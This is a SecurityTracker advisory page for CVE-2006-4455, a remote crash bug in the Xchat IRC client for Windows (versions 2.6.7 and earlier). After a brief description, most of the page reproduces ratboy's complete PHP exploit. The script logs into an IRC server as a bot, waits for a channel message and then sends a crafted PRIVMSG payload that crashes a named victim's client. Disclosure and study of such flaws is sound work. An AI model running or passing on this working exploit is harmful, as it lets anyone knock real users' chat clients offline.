SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Instant Messaging/IRC/Chat)  >   Xchat Vendors:   Zelezny, Peter
Xchat PRIVMSG Bug Lets Remote Users Deny Service
SecurityTracker Alert ID:  1016687
SecurityTracker URL:  http://securitytracker.com/id/1016687
CVE Reference:   CVE-2006-4455   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 11 2006
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 2.6.7 and prior versions
Description:   A vulnerability was reported in Xchat. A remote user can cause denial of service conditions.

A remote user can send a specially crafted PRIVMSG to cause the target recipient's client to crash.

ratboy reported this vulnerability.

Impact:   A remote user can cause the target user's client to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  xchat.org/ (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  XChat <= 2.6.4-1 (win version) Remote Denial of Service Exploit (php)

<?php
// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy
// Tested on Windows SP1/SP2          
// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2  

//Stop the script timing out
set_time_limit(0);

//Set constants
define("SERVER", 'irc.enigmagroup.org');
define("PORT", 6667);
define("CHANNEL", "#enigmagroup");  //Set the channel the bot will join here
define("NICK", "ratbot");    //Set the bot's nick here
define("EXPLOIT", "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82");
define("VICTIM", "ratboy");

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket
$fp = socket_connect($socket, SERVER, PORT); // Connect to the server
socket_write($socket,"USER ratboy ratboy ratboy :ratboy\r\n"); // Send the Username to the server
socket_write($socket,"NICK ".NICK." \r\n"); // Change our nickname
socket_write($socket,"JOIN ".CHANNEL." \r\n"); // Join the channel
while($data = @socket_read($socket,2046)) { //read the data
    echo $data;
    $cmd = explode(" ", $data);

    if (strpos($data, "PING :")===0) {
        socket_write($socket, "PONG :".substr($data, 6)."\r\n");
        continue;
    }
    
    if($cmd[1] == "PRIVMSG"){  // Send the exploit right when the channel gets a message then stop the bot
        socket_write($socket, "PRIVMSG ".VICTIM." :".EXPLOIT."\r\n");
        socket_close($socket);
    }
}

?> 

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC